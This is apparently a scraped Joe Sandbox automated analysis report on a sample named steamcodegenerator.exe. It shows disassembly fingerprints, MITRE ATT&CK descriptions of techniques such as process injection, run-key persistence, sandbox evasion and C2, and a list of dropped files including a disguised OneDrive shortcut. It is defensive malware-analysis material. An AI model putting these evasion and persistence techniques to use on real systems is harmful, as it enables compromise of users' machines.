Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 018631f563cd5f86bf90a3ea0888df879cf18235863466e9cb65147d4980afc7
Instruction ID: 34cc0d11e54b4e4d18bc54f90ae67786609a89b0fd537aa67043308001db8347
Opcode Fuzzy Hash: 018631f563cd5f86bf90a3ea0888df879cf18235863466e9cb65147d4980afc7
Instruction Fuzzy Hash: 41418E33A19A85C1EB209F65E8453AA67B1FB98794F404031EE4DDBB98EF3CE441CB40

Function 00007FF663541970 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663541987
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6635419C6

Part of subcall function 00007FF663546A00: _Yarn.LIBCPMT ref: 00007FF663546A2E

Strings

bad locale name, xrefs: 00007FF6635419DA

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: bc46d9a1bc2a7d05830fd543c4d4717b0fcd6854d73d0bf546987af89fa682f9
Instruction ID: eed6b19078a45543164d6af464cb2bb3c6ca6e84d18b8edaae5e40b6100e3239
Opcode Fuzzy Hash: bc46d9a1bc2a7d05830fd543c4d4717b0fcd6854d73d0bf546987af89fa682f9
Instruction Fuzzy Hash: 67016D22609BC1CAC748DF75A88116C77B5FB58B88B189539CA8CD771BEF38D5A0C340

Function 00007FF66354AB1C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6635466AA), ref: 00007FF66354AB6C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,7FFFFFFFFFFFFFFF,00007FF6635466AA), ref: 00007FF66354ABAD

Strings

csm, xrefs: 00007FF66354AB9A

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 2cb8a78e00c36ca855e3f70bae74cf4a1d3c179b7e048d680593ed73b494d009
Instruction ID: 3da228f472d25c40d6747283f8f98c078711f1df41f634279f2be034c7494e83
Opcode Fuzzy Hash: 2cb8a78e00c36ca855e3f70bae74cf4a1d3c179b7e048d680593ed73b494d009
Instruction Fuzzy Hash: 8E115E32619B8182EB648B16F40025977E5FB88B94F584234EA8D5B765DF3CD5518700

Function 00007FF663544714 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

std::_Facet_Register.LIBCPMT ref: 00007FF663544721
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF66354473B

Strings

@F, xrefs: 00007FF66354474B

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Facet_LockitLockit::~_Register
String ID: @F
API String ID: 2774363102-2348236604
Opcode ID: 9d1408b99dfbbb19e9203b29269fb050f37ee393090f3ec43ea93e1dc3c37ed4
Instruction ID: 988609b9e3bc516e4674fdf209b7511c68f16c2df7832ff1fbf58b32fdd5792c
Opcode Fuzzy Hash: 9d1408b99dfbbb19e9203b29269fb050f37ee393090f3ec43ea93e1dc3c37ed4
Instruction Fuzzy Hash: 07E0ED26608B01C1EA14EF16F4920AE7370FB89BE4B4D5032EF8E5B756CE3CD5928B40

Analysis Process: powershell.exePID: 7628, Parent PID: 7500COMMON

Executed Functions

Function 00007FFD9BA03605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1970135785.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9ba00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: fc9c11f2e9de72c48521401c155ed76442494769910caf6d0da160ae5e66bd74
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 6B01677125CB0C4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5D736E881CB45

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report steamcodegenerator.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3dpjjk3v.2bt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_42ifckjl.bhc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aecwym3u.atj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxargdvl.dvu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gmhnksc4.fte.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iztoceb3.nif.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jgzgz5s3.0r4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l04spufr.gp1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yf2k4eim.g1l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yovvkfhw.tz5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zeeotmze.1fn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zvygnhhv.wvq.psm1

\Device\ConDrv

Windows Analysis Report
steamcodegenerator.exe